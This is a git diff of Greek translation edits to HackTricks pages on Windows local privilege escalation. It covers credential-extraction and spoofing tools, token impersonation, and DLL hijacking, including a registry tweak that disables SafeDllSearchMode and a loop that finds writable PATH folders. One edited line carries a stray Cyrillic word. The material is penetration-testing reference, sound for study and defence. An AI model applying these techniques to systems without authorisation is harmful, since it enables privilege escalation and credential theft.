εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**). Ανιχνεύθηκε.**\ [**JAWS**](https://github.com/411Hall/JAWS) **-- Ελέγξτε για κάποιες πιθανές κακές διαμορφώσεις και συγκεντρώστε πληροφορίες (**[**ελέγξτε εδώ**](https://github.com/carlospolop/hacktricks/blob/master/windows/windows-local-privilege-escalation/broken-reference/README.md)**).**\ [**privesc** ](https://github.com/enjoiz/Privesc)**-- Ελέγξτε για κακή διαμόρφωση**\ -[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες αποθηκευμένων συνεδριών από PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ +[**SessionGopher**](https://github.com/Arvanaghi/SessionGopher) **-- Εξάγει πληροφορίες από αποθηκευμένες συνεδρίες PuTTY, WinSCP, SuperPuTTY, FileZilla και RDP. Χρησιμοποιήστε -Thorough τοπικά.**\ [**Invoke-WCMDump**](https://github.com/peewpw/Invoke-WCMDump) **-- Εξάγει διαπιστευτήρια από τον Διαχειριστή Διαπιστευτηρίων. Ανιχνεύθηκε.**\ -[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε τις συγκεντρωμένες κωδικούς πρόσβασης σε τομέα**\ -[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS και man-in-the-middle PowerShell.**\ +[**DomainPasswordSpray**](https://github.com/dafthack/DomainPasswordSpray) **-- Ψεκάστε τις συγκεντρωμένες κωδικούς πρόσβασης σε όλο το domain**\ +[**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) **-- Το Inveigh είναι ένα εργαλείο spoofing ADIDNS/LLMNR/mDNS/NBNS και man-in-the-middle.**\ [**WindowsEnum**](https://github.com/absolomb/WindowsEnum/blob/master/WindowsEnum.ps1) **-- Βασική αναγνώριση privesc Windows**\ [~~**Sherlock**~~](https://github.com/rasta-mouse/Sherlock) **\~\~**\~\~ -- Αναζητήστε γνωστές ευπάθειες privesc (ΑΠΟΡΡΙΦΘΕΙΣΑ για Watson)\ [~~**WINspect**~~](https://github.com/A-mIn3/WINspect) -- Τοπικοί έλεγχοι **(Απαιτούν δικαιώματα Διαχειριστή)** @@ -1424,7 +1593,7 @@ sc start newservicename _multi/recon/local_exploit_suggestor_ -Πρέπει να μεταγλωττίσετε το έργο χρησιμοποιώντας την σωστή έκδοση του .NET ([δείτε αυτό](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στον υπολογιστή του θύματος, μπορείτε να κάνετε: +Πρέπει να μεταγλωττίσετε το έργο χρησιμοποιώντας την κατάλληλη έκδοση του .NET ([δείτε αυτό](https://rastamouse.me/2018/09/a-lesson-in-.net-framework-versions/)). Για να δείτε την εγκατεστημένη έκδοση του .NET στον υπολογιστή του θύματος, μπορείτε να κάνετε: ``` C:\Windows\microsoft.net\framework\v4.0.30319\MSBuild.exe -version #Compile the code with the version given in "Build Engine version" line ``` diff --git a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md index 0f7910919..40f75075d 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md +++ b/src/windows-hardening/windows-local-privilege-escalation/access-tokens.md @@ -4,7 +4,7 @@ ## Access Tokens -Κάθε **χρήστης που έχει συνδεθεί** στο σύστημα **κατέχει ένα access token με πληροφορίες ασφαλείας** για αυτή τη συνεδρία σύνδεσης. Το σύστημα δημιουργεί ένα access token όταν ο χρήστης συνδέεται. **Κάθε διαδικασία που εκτελείται** εκ μέρους του χρήστη **έχει ένα αντίγραφο του access token**. Το token προσδιορίζει τον χρήστη, τις ομάδες του χρήστη και τα δικαιώματα του χρήστη. Ένα token περιέχει επίσης ένα logon SID (Security Identifier) που προσδιορίζει την τρέχουσα συνεδρία σύνδεσης. +Κάθε **χρήστης που έχει συνδεθεί** στο σύστημα **κρατά ένα access token με πληροφορίες ασφαλείας** για αυτή τη συνεδρία σύνδεσης. Το σύστημα δημιουργεί ένα access token όταν ο χρήστης συνδέεται. **Κάθε διαδικασία που εκτελείται** εκ μέρους του χρήστη **έχει ένα αντίγραφο του access token**. Το token προσδιορίζει τον χρήστη, τις ομάδες του χρήστη και τα δικαιώματα του χρήστη. Ένα token περιέχει επίσης ένα logon SID (Security Identifier) που προσδιορίζει την τρέχουσα συνεδρία σύνδεσης. Μπορείτε να δείτε αυτές τις πληροφορίες εκτελώντας `whoami /all` ``` @@ -50,13 +50,13 @@ SeUndockPrivilege Remove computer from docking station Disabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled SeTimeZonePrivilege Change the time zone Disabled ``` -ή χρησιμοποιώντας το _Process Explorer_ από τη Sysinternals (επιλέξτε τη διαδικασία και αποκτήστε πρόσβαση στην καρτέλα "Security"): +ή χρησιμοποιώντας το _Process Explorer_ από το Sysinternals (επιλέξτε τη διαδικασία και πρόσβαση στην καρτέλα "Security"): ![](<../../images/image (772).png>) ### Τοπικός διαχειριστής -Όταν ένας τοπικός διαχειριστής συνδέεται, **δημιουργούνται δύο διαπιστευτήρια πρόσβασης**: Ένα με δικαιώματα διαχειριστή και ένα άλλο με κανονικά δικαιώματα. **Από προεπιλογή**, όταν αυτός ο χρήστης εκτελεί μια διαδικασία, χρησιμοποιείται το **κανονικό** (μη διαχειριστή) **δικαίωμα**. Όταν αυτός ο χρήστης προσπαθεί να **εκτελέσει** οτιδήποτε **ως διαχειριστής** ("Εκτέλεση ως διαχειριστής" για παράδειγμα), θα χρησιμοποιηθεί το **UAC** για να ζητήσει άδεια.\ +Όταν ένας τοπικός διαχειριστής συνδέεται, **δημιουργούνται δύο access tokens**: Ένα με δικαιώματα διαχειριστή και ένα άλλο με κανονικά δικαιώματα. **Από προεπιλογή**, όταν αυτός ο χρήστης εκτελεί μια διαδικασία, χρησιμοποιείται αυτό με **κανονικά** (μη διαχειριστικά) **δικαιώματα**. Όταν αυτός ο χρήστης προσπαθεί να **εκτελέσει** οτιδήποτε **ως διαχειριστής** ("Εκτέλεση ως Διαχειριστής" για παράδειγμα), θα χρησιμοποιηθεί το **UAC** για να ζητήσει άδεια.\ Αν θέλετε να [**μάθετε περισσότερα για το UAC διαβάστε αυτή τη σελίδα**](../authentication-credentials-uac-and-efs/index.html#uac)**.** ### Υποκατάσταση ταυτοτήτων χρηστών @@ -70,14 +70,14 @@ runas /user:domain\username cmd.exe ``` runas /user:domain\username /netonly cmd.exe ``` -Αυτό είναι χρήσιμο αν έχετε χρήσιμα διαπιστευτήρια για πρόσβαση σε αντικείμενα στο δίκτυο, αλλά αυτά τα διαπιστευτήρια δεν είναι έγκυρα μέσα στον τρέχοντα υπολογιστή, καθώς θα χρησιμοποιηθούν μόνο στο δίκτυο (στον τρέχοντα υπολογιστή θα χρησιμοποιηθούν τα δικαιώματα του τρέχοντος χρήστη σας). +Αυτό είναι χρήσιμο αν έχετε χρήσιμα διαπιστευτήρια για να αποκτήσετε πρόσβαση σε αντικείμενα στο δίκτυο, αλλά αυτά τα διαπιστευτήρια δεν είναι έγκυρα μέσα στον τρέχοντα υπολογιστή, καθώς θα χρησιμοποιηθούν μόνο στο δίκτυο (στον τρέχοντα υπολογιστή θα χρησιμοποιηθούν τα τρέχοντα δικαιώματα χρήστη σας). ### Τύποι διακριτικών Υπάρχουν δύο τύποι διακριτικών διαθέσιμα: -- **Πρωτεύον Διακριτικό**: Λειτουργεί ως αναπαράσταση των διαπιστευτηρίων ασφαλείας μιας διαδικασίας. Η δημιουργία και η συσχέτιση πρωτευόντων διακριτικών με διαδικασίες είναι ενέργειες που απαιτούν ανυψωμένα δικαιώματα, τονίζοντας την αρχή του διαχωρισμού των δικαιωμάτων. Συνήθως, μια υπηρεσία πιστοποίησης είναι υπεύθυνη για τη δημιουργία διακριτικών, ενώ μια υπηρεσία σύνδεσης χειρίζεται τη συσχέτισή τους με το περιβάλλον λειτουργικού συστήματος του χρήστη. Αξιοσημείωτο είναι ότι οι διαδικασίες κληρονομούν το πρωτεύον διακριτικό της γονικής τους διαδικασίας κατά τη δημιουργία. -- **Διακριτικό Υποκατάστασης**: Δίνει τη δυνατότητα σε μια εφαρμογή διακομιστή να υιοθετήσει προσωρινά την ταυτότητα του πελάτη για πρόσβαση σε ασφαλή αντικείμενα. Αυτός ο μηχανισμός είναι διαστρωμένος σε τέσσερα επίπεδα λειτουργίας: +- **Πρωτεύον Διακριτικό**: Λειτουργεί ως αναπαράσταση των διαπιστευτηρίων ασφαλείας μιας διαδικασίας. Η δημιουργία και η συσχέτιση πρωτευόντων διακριτικών με διαδικασίες είναι ενέργειες που απαιτούν ανυψωμένα δικαιώματα, τονίζοντας την αρχή του διαχωρισμού των προνομίων. Συνήθως, μια υπηρεσία πιστοποίησης είναι υπεύθυνη για τη δημιουργία διακριτικών, ενώ μια υπηρεσία σύνδεσης χειρίζεται τη συσχέτισή τους με το περιβάλλον λειτουργικού συστήματος του χρήστη. Αξιοσημείωτο είναι ότι οι διαδικασίες κληρονομούν το πρωτεύον διακριτικό της γονικής τους διαδικασίας κατά τη δημιουργία. +- **Διακριτικό Υποκατάστασης**: Δίνει τη δυνατότητα σε μια εφαρμογή διακομιστή να υιοθετήσει προσωρινά την ταυτότητα του πελάτη για την πρόσβαση σε ασφαλή αντικείμενα. Αυτός ο μηχανισμός είναι διαστρωμένος σε τέσσερα επίπεδα λειτουργίας: - **Ανώνυμο**: Παρέχει πρόσβαση στο διακομιστή παρόμοια με αυτήν ενός μη αναγνωρίσιμου χρήστη. - **Ταυτοποίηση**: Επιτρέπει στο διακομιστή να επαληθεύσει την ταυτότητα του πελάτη χωρίς να τη χρησιμοποιήσει για πρόσβαση σε αντικείμενα. - **Υποκατάσταση**: Δίνει τη δυνατότητα στο διακομιστή να λειτουργεί υπό την ταυτότητα του πελάτη. @@ -85,11 +85,12 @@ runas /user:domain\username /netonly cmd.exe #### Υποκατάσταση Διακριτικών -Χρησιμοποιώντας το _**incognito**_ module του metasploit, αν έχετε αρκετά δικαιώματα, μπορείτε εύκολα να **καταγράψετε** και να **υποκαταστήσετε** άλλα **διακριτικά**. Αυτό θα μπορούσε να είναι χρήσιμο για να εκτελέσετε **ενέργειες σαν να ήσασταν ο άλλος χρήστης**. Μπορείτε επίσης να **ανυψώσετε δικαιώματα** με αυτήν την τεχνική. +Χρησιμοποιώντας το _**incognito**_ module του metasploit, αν έχετε αρκετά δικαιώματα, μπορείτε εύκολα να **καταγράψετε** και να **υποκαταστήσετε** άλλα **διακριτικά**. Αυτό θα μπορούσε να είναι χρήσιμο για να εκτελέσετε **ενέργειες σαν να ήσασταν ο άλλος χρήστης**. Μπορείτε επίσης να **ανεβάσετε δικαιώματα** με αυτήν την τεχνική. ### Δικαιώματα Διακριτικών -Μάθετε ποια **δικαιώματα διακριτικών μπορούν να καταχραστούν για να ανυψωθούν τα δικαιώματα:** +Μάθετε ποια **δικαιώματα διακριτικών μπορούν να καταχραστούν για να ανεβάσουν δικαιώματα:** + {{#ref}} privilege-escalation-abusing-tokens.md diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index 4821dea3b..4ab7771eb 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -14,14 +14,14 @@ 1. **DLL Replacement**: Αντικατάσταση μιας γνήσιας DLL με μια κακόβουλη, προαιρετικά χρησιμοποιώντας DLL Proxying για να διατηρηθεί η λειτουργικότητα της αρχικής DLL. 2. **DLL Search Order Hijacking**: Τοποθέτηση της κακόβουλης DLL σε μια διαδρομή αναζήτησης πριν από την νόμιμη, εκμεταλλευόμενη το μοτίβο αναζήτησης της εφαρμογής. -3. **Phantom DLL Hijacking**: Δημιουργία μιας κακόβουλης DLL για μια εφαρμογή να φορτώσει, νομίζοντας ότι είναι μια ανύπαρκτη απαιτούμενη DLL. +3. **Phantom DLL Hijacking**: Δημιουργία μιας κακόβουλης DLL για να φορτωθεί από μια εφαρμογή, νομίζοντας ότι είναι μια μη υπάρχουσα απαιτούμενη DLL. 4. **DLL Redirection**: Τροποποίηση παραμέτρων αναζήτησης όπως το `%PATH%` ή τα αρχεία `.exe.manifest` / `.exe.local` για να κατευθυνθεί η εφαρμογή στην κακόβουλη DLL. 5. **WinSxS DLL Replacement**: Αντικατάσταση της νόμιμης DLL με μια κακόβουλη στο φάκελο WinSxS, μια μέθοδος που συχνά σχετίζεται με την πλευρική φόρτωση DLL. 6. **Relative Path DLL Hijacking**: Τοποθέτηση της κακόβουλης DLL σε έναν φάκελο που ελέγχεται από τον χρήστη με την αντιγραμμένη εφαρμογή, που μοιάζει με τις τεχνικές Binary Proxy Execution. ## Finding missing Dlls -Ο πιο κοινός τρόπος για να βρείτε ελλείπουσες DLL σε ένα σύστημα είναι να εκτελέσετε [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) από sysinternals, **ορίζοντας** τα **εξής 2 φίλτρα**: +Ο πιο κοινός τρόπος για να βρείτε τις ελλείπουσες DLL σε ένα σύστημα είναι να εκτελέσετε [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) από τα sysinternals, **ορίζοντας** τους **εξής 2 φίλτρους**: ![](<../../images/image (311).png>) @@ -36,7 +36,7 @@ ## Exploiting Missing Dlls -Για να κλιμακώσουμε δικαιώματα, η καλύτερη ευκαιρία που έχουμε είναι να μπορέσουμε να **γράψουμε μια dll που μια διαδικασία με δικαιώματα θα προσπαθήσει να φορτώσει** σε κάποιο από **τα μέρη όπου θα αναζητηθεί**. Επομένως, θα μπορέσουμε να **γράψουμε** μια dll σε έναν **φάκελο** όπου η **dll αναζητείται πριν** από τον φάκελο όπου βρίσκεται η **αρχική dll** (παράξενος περίπτωση), ή θα μπορέσουμε να **γράψουμε σε κάποιο φάκελο όπου η dll θα αναζητηθεί** και η αρχική **dll δεν υπάρχει** σε κανέναν φάκελο. +Για να κλιμακώσουμε δικαιώματα, η καλύτερη ευκαιρία που έχουμε είναι να μπορέσουμε να **γράψουμε μια dll που μια διαδικασία με δικαιώματα θα προσπαθήσει να φορτώσει** σε κάποιο **μέρος όπου θα αναζητηθεί**. Επομένως, θα μπορέσουμε να **γράψουμε** μια dll σε έναν **φάκελο** όπου η **dll αναζητείται πριν** από τον φάκελο όπου βρίσκεται η **αρχική dll** (παράξενος περίπτωση), ή θα μπορέσουμε να **γράψουμε σε κάποιο φάκελο όπου η dll θα αναζητηθεί** και η αρχική **dll δεν υπάρχει** σε κανέναν φάκελο. ### Dll Search Order @@ -48,7 +48,7 @@ 1. Ο κατάλογος από τον οποίο φορτώθηκε η εφαρμογή. 2. Ο κατάλογος συστήματος. Χρησιμοποιήστε τη [**GetSystemDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getsystemdirectorya) συνάρτηση για να αποκτήσετε τη διαδρομή αυτού του καταλόγου.(_C:\Windows\System32_) -3. Ο 16-bit κατάλογος συστήματος. Δεν υπάρχει συνάρτηση που να αποκτά τη διαδρομή αυτού του καταλόγου, αλλά αναζητείται. (_C:\Windows\System_) +3. Ο κατάλογος 16-bit συστήματος. Δεν υπάρχει συνάρτηση που να αποκτά τη διαδρομή αυτού του καταλόγου, αλλά αναζητείται. (_C:\Windows\System_) 4. Ο κατάλογος των Windows. Χρησιμοποιήστε τη [**GetWindowsDirectory**](https://docs.microsoft.com/en-us/windows/desktop/api/sysinfoapi/nf-sysinfoapi-getwindowsdirectorya) συνάρτηση για να αποκτήσετε τη διαδρομή αυτού του καταλόγου. 1. (_C:\Windows_) 5. Ο τρέχων κατάλογος. @@ -56,29 +56,29 @@ Αυτή είναι η **προεπιλεγμένη** σειρά αναζήτησης με ενεργοποιημένο το **SafeDllSearchMode**. Όταν είναι απενεργοποιημένο, ο τρέχων κατάλογος ανεβαίνει στη δεύτερη θέση. Για να απενεργοποιήσετε αυτή τη δυνατότητα, δημιουργήστε την τιμή μητρώου **HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager**\\**SafeDllSearchMode** και ορίστε την σε 0 (η προεπιλογή είναι ενεργοποιημένη). -Αν η [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) συνάρτηση καλείται με **LOAD_WITH_ALTERED_SEARCH_PATH**, η αναζήτηση αρχίζει στον κατάλογο του εκτελέσιμου μοντέλου που **φορτώνει η LoadLibraryEx**. +Αν η [**LoadLibraryEx**](https://docs.microsoft.com/en-us/windows/desktop/api/LibLoaderAPI/nf-libloaderapi-loadlibraryexa) συνάρτηση κληθεί με **LOAD_WITH_ALTERED_SEARCH_PATH**, η αναζήτηση αρχίζει στον κατάλογο του εκτελέσιμου module που **φορτώνει η LoadLibraryEx**. -Τέλος, σημειώστε ότι **μια dll θα μπορούσε να φορτωθεί υποδεικνύοντας την απόλυτη διαδρομή αντί μόνο το όνομα**. Σε αυτή την περίπτωση, η dll θα **αναζητηθεί μόνο σε αυτή τη διαδρομή** (αν η dll έχει εξαρτήσεις, θα αναζητηθούν όπως φορτώθηκαν μόνο με το όνομα). +Τέλος, σημειώστε ότι **μια dll θα μπορούσε να φορτωθεί υποδεικνύοντας την απόλυτη διαδρομή αντί μόνο το όνομα**. Σε αυτή την περίπτωση, η dll θα **αναζητηθεί μόνο σε αυτή τη διαδρομή** (αν η dll έχει εξαρτήσεις, αυτές θα αναζητηθούν όπως μόλις φορτώθηκαν με το όνομα). Υπάρχουν άλλοι τρόποι για να τροποποιήσετε τις μεθόδους αναζήτησης, αλλά δεν θα τους εξηγήσω εδώ. #### Exceptions on dll search order from Windows docs -Ορισμένες εξαιρέσεις από την τυπική σειρά αναζήτησης DLL σημειώνονται στην τεκμηρίωση των Windows: +Ορισμένες εξαιρέσεις από τη стандартική σειρά αναζήτησης DLL σημειώνονται στην τεκμηρίωση των Windows: -- Όταν συναντηθεί μια **DLL που μοιράζεται το όνομά της με μία που έχει ήδη φορτωθεί στη μνήμη**, το σύστημα παρακάμπτει την συνήθη αναζήτηση. Αντίθετα, εκτελεί έναν έλεγχο για ανακατεύθυνση και ένα μανιφέστο πριν επιστρέψει στη DLL που είναι ήδη στη μνήμη. **Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για τη DLL**. -- Σε περιπτώσεις όπου η DLL αναγνωρίζεται ως **γνωστή DLL** για την τρέχουσα έκδοση των Windows, το σύστημα θα χρησιμοποιήσει την έκδοση της γνωστής DLL, μαζί με οποιαδήποτε από τις εξαρτώμενες DLL της, **παρακάμπτοντας τη διαδικασία αναζήτησης**. Το κλειδί μητρώου **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** περιέχει μια λίστα με αυτές τις γνωστές DLL. -- Αν μια **DLL έχει εξαρτήσεις**, η αναζήτηση για αυτές τις εξαρτώμενες DLL διεξάγεται σαν να υποδεικνύονταν μόνο με τα **ονόματα των μονάδων τους**, ανεξάρτητα από το αν η αρχική DLL αναγνωρίστηκε μέσω πλήρους διαδρομής. +- Όταν συναντηθεί μια **DLL που μοιράζεται το όνομά της με μία που είναι ήδη φορτωμένη στη μνήμη**, το σύστημα παρακάμπτει τη συνήθη αναζήτηση. Αντίθετα, εκτελεί έναν έλεγχο για ανακατεύθυνση και ένα μανιφέστο πριν επιστρέψει στη DLL που είναι ήδη στη μνήμη. **Σε αυτό το σενάριο, το σύστημα δεν διεξάγει αναζήτηση για τη DLL**. +- Σε περιπτώσεις όπου η DLL αναγνωρίζεται ως **γνωστή DLL** για την τρέχουσα έκδοση των Windows, το σύστημα θα χρησιμοποιήσει την έκδοσή της γνωστής DLL, μαζί με οποιεσδήποτε εξαρτώμενες DLL της, **παρακάμπτοντας τη διαδικασία αναζήτησης**. Το κλειδί μητρώου **HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\KnownDLLs** περιέχει μια λίστα με αυτές τις γνωστές DLL. +- Αν μια **DLL έχει εξαρτήσεις**, η αναζήτηση για αυτές τις εξαρτώμενες DLL διεξάγεται σαν να υποδεικνύονταν μόνο με τα **ονόματα των modules**, ανεξάρτητα από το αν η αρχική DLL αναγνωρίστηκε μέσω πλήρους διαδρομής. ### Escalating Privileges -**Απαιτήσεις**: +**Requirements**: -- Εντοπίστε μια διαδικασία που λειτουργεί ή θα λειτουργήσει με **διαφορετικά δικαιώματα** (οριζόντια ή πλάγια κίνηση), η οποία **λείπει μια DLL**. -- Διασφαλίστε ότι υπάρχει **δικαίωμα εγγραφής** για οποιονδήποτε **φάκελο** στον οποίο θα **αναζητηθεί η DLL**. Αυτή η τοποθεσία μπορεί να είναι ο φάκελος της εκτελέσιμης ή ένας φάκελος εντός της διαδρομής του συστήματος. +- Εντοπίστε μια διαδικασία που λειτουργεί ή θα λειτουργήσει με **διαφορετικά δικαιώματα** (οριζόντια ή πλευρική κίνηση), η οποία **λείπει μια DLL**. +- Διασφαλίστε ότι υπάρχει **πρόσβαση εγγραφής** για οποιονδήποτε **κατάλογο** στον οποίο θα **αναζητηθεί η DLL**. Αυτή η τοποθεσία μπορεί να είναι ο κατάλογος της εκτελέσιμης ή ένας κατάλογος εντός της διαδρομής του συστήματος. Ναι, οι απαιτήσεις είναι περίπλοκες να βρεθούν καθώς **κατά προεπιλογή είναι κάπως παράξενο να βρείτε μια εκτελέσιμη με δικαιώματα που να λείπει μια dll** και είναι ακόμη **πιο παράξενο να έχετε δικαιώματα εγγραφής σε έναν φάκελο διαδρομής συστήματος** (δεν μπορείτε κατά προεπιλογή). Αλλά, σε κακώς ρυθμισμένα περιβάλλοντα αυτό είναι δυνατό.\ -Σε περίπτωση που έχετε τύχη και βρείτε τον εαυτό σας να πληροί τις απαιτήσεις, μπορείτε να ελέγξετε το έργο [UACME](https://github.com/hfiref0x/UACME). Ακόμη και αν ο **κύριος στόχος του έργου είναι η παράκαμψη του UAC**, μπορεί να βρείτε εκεί μια **PoC** εκμετάλλευσης DLL για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανώς αλλάζοντας απλώς τη διαδρομή του φακέλου όπου έχετε δικαιώματα εγγραφής). +Σε περίπτωση που έχετε τύχη και βρείτε τον εαυτό σας να πληροί τις απαιτήσεις, μπορείτε να ελέγξετε το έργο [UACME](https://github.com/hfiref0x/UACME). Ακόμη και αν **κύριος στόχος του έργου είναι η παράκαμψη του UAC**, μπορεί να βρείτε εκεί μια **PoC** εκμετάλλευσης DLL για την έκδοση των Windows που μπορείτε να χρησιμοποιήσετε (πιθανώς αλλάζοντας απλώς τη διαδρομή του φακέλου όπου έχετε δικαιώματα εγγραφής). Σημειώστε ότι μπορείτε να **ελέγξετε τα δικαιώματά σας σε έναν φάκελο** κάνοντας: ```bash @@ -94,7 +94,7 @@ for %%A in ("%path:;=";"%") do ( cmd.exe /c icacls "%%~A" 2>nul | findstr /i "(F dumpbin /imports C:\path\Tools\putty\Putty.exe dumpbin /export /path/file.dll ``` -Για έναν πλήρη οδηγό σχετικά με το πώς να **καταχραστείτε το Dll Hijacking για να κερδίσετε δικαιώματα** με άδειες εγγραφής σε έναν **φάκελο System Path**, ελέγξτε: +Για έναν πλήρη οδηγό σχετικά με το πώς να **καταχραστείτε το Dll Hijacking για να κλιμακώσετε τα δικαιώματα** με άδειες για εγγραφή σε έναν **φάκελο System Path** ελέγξτε: {{#ref}} dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md @@ -102,12 +102,12 @@ dll-hijacking/writable-sys-path-+dll-hijacking-privesc.md ### Αυτοματοποιημένα εργαλεία -[**Winpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) θα ελέγξει αν έχετε άδειες εγγραφής σε οποιονδήποτε φάκελο μέσα στο system PATH.\ +[**Winpeas** ](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/winPEAS) θα ελέγξει αν έχετε άδειες εγγραφής σε οποιονδήποτε φάκελο μέσα στο system PATH.\ Άλλα ενδιαφέροντα αυτοματοποιημένα εργαλεία για την ανακάλυψη αυτής της ευπάθειας είναι οι **PowerSploit functions**: _Find-ProcessDLLHijack_, _Find-PathDLLHijack_ και _Write-HijackDll._ ### Παράδειγμα -Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς θα ήταν να **δημιουργήσετε ένα dll που εξάγει τουλάχιστον όλες τις λειτουργίες που θα εισάγει το εκτελέσιμο από αυτό**. Ούτως ή άλλως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να [ανεβείτε από Medium Integrity level σε High **(παρακάμπτοντας το UAC)**](../authentication-credentials-uac-and-efs.md#uac) ή από [**High Integrity σε SYSTEM**](#from-high-integrity-to-system)**.** Μπορείτε να βρείτε ένα παράδειγμα για **πώς να δημιουργήσετε ένα έγκυρο dll** μέσα σε αυτή τη μελέτη dll hijacking που επικεντρώνεται στο dll hijacking για εκτέλεση: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ +Σε περίπτωση που βρείτε ένα εκμεταλλεύσιμο σενάριο, ένα από τα πιο σημαντικά πράγματα για να το εκμεταλλευτείτε επιτυχώς θα ήταν να **δημιουργήσετε ένα dll που εξάγει τουλάχιστον όλες τις λειτουργίες που θα εισάγει το εκτελέσιμο από αυτό**. Ούτως ή άλλως, σημειώστε ότι το Dll Hijacking είναι χρήσιμο για να [κλιμακώσετε από Medium Integrity level σε High **(παρακάμπτοντας το UAC)**](../authentication-credentials-uac-and-efs.md#uac) ή από [**High Integrity σε SYSTEM**](#from-high-integrity-to-system)**.** Μπορείτε να βρείτε ένα παράδειγμα για **πώς να δημιουργήσετε ένα έγκυρο dll** μέσα σε αυτή τη μελέτη dll hijacking που επικεντρώνεται στο dll hijacking για εκτέλεση: [**https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows**](https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows)**.**\ Επιπλέον, στην **επόμενη ενότητα** μπορείτε να βρείτε μερικούς **βασικούς κωδικούς dll** που μπορεί να είναι χρήσιμοι ως **πρότυπα** ή για να δημιουργήσετε ένα **dll με μη απαιτούμενες εξαγόμενες λειτουργίες**. ## **Δημιουργία και μεταγλώττιση Dlls** diff --git a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md index 4b88d3874..f85b509fa 100644 --- a/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md +++ b/src/windows-hardening/windows-local-privilege-escalation/dll-hijacking/README.md @@ -5,7 +5,7 @@ ## Basic Information -Η εκμετάλλευση DLL Hijacking περιλαμβάνει την παραποίηση μιας αξιόπιστης εφαρμογής ώστε να φορτώσει μια κακόβουλη DLL. Αυτός ο όρος περιλαμβάνει αρκετές τακτικές όπως **DLL Spoofing, Injection, και Side-Loading**. Χρησιμοποιείται κυρίως για εκτέλεση κώδικα, επίτευξη επιμονής και, λιγότερο συχνά, κλιμάκωση δικαιωμάτων. Παρά την εστίαση στην κλιμάκωση εδώ, η μέθοδος της εκμετάλλευσης παραμένει συνεπής σε όλους τους στόχους. +Η εκμετάλλευση DLL Hijacking περιλαμβάνει τη χειραγώγηση μιας αξιόπιστης εφαρμογής ώστε να φορτώσει μια κακόβουλη DLL. Αυτός ο όρος περιλαμβάνει αρκετές τακτικές όπως **DLL Spoofing, Injection, και Side-Loading**. Χρησιμοποιείται κυρίως για εκτέλεση κώδικα, επίτευξη επιμονής και, λιγότερο συχνά, κλιμάκωση δικαιωμάτων. Παρά την εστίαση στην κλιμάκωση εδώ, η μέθοδος της εκμετάλλευσης παραμένει συνεπής σε όλους τους στόχους. ### Common Techniques @@ -20,7 +20,7 @@ ## Finding missing Dlls -Ο πιο κοινός τρόπος για να βρείτε τις ελλείπουσες DLL σε ένα σύστημα είναι να εκτελέσετε [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) από sysinternals, **ορίζοντας** τους **εξής 2 φίλτρους**: +Ο πιο κοινός τρόπος για να βρείτε τις ελλείπουσες DLL σε ένα σύστημα είναι να εκτελέσετε [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) από sysinternals, **ορίζοντας** τους **παρακάτω 2 φίλτρους**: ![](<../../../images/image (961).png>) @@ -31,33 +31,33 @@ ![](<../../../images/image (153).png>) Αν ψάχνετε για **ελλείπουσες dll γενικά** μπορείτε να **αφήσετε** αυτό να τρέχει για μερικά **δευτερόλεπτα**.\ -Αν ψάχνετε για μια **ελλείπουσα dll μέσα σε μια συγκεκριμένη εκτελέσιμη** θα πρέπει να ορίσετε **ένα άλλο φίλτρο όπως "Process Name" "contains" "\", να το εκτελέσετε και να σταματήσετε την καταγραφή γεγονότων**. +Αν ψάχνετε για μια **ελλείπουσα dll μέσα σε μια συγκεκριμένη εκτελέσιμη** θα πρέπει να ορίσετε **ένα άλλο φίλτρο όπως "Process Name" "contains" "\", να την εκτελέσετε και να σταματήσετε την καταγραφή γεγονότων**. ## Exploiting Missing Dlls -Για να κλιμακώσουμε δικαιώματα, η καλύτερη ευκαιρία που έχουμε είναι να μπορέσουμε να **γράψουμε μια dll που μια διαδικασία με 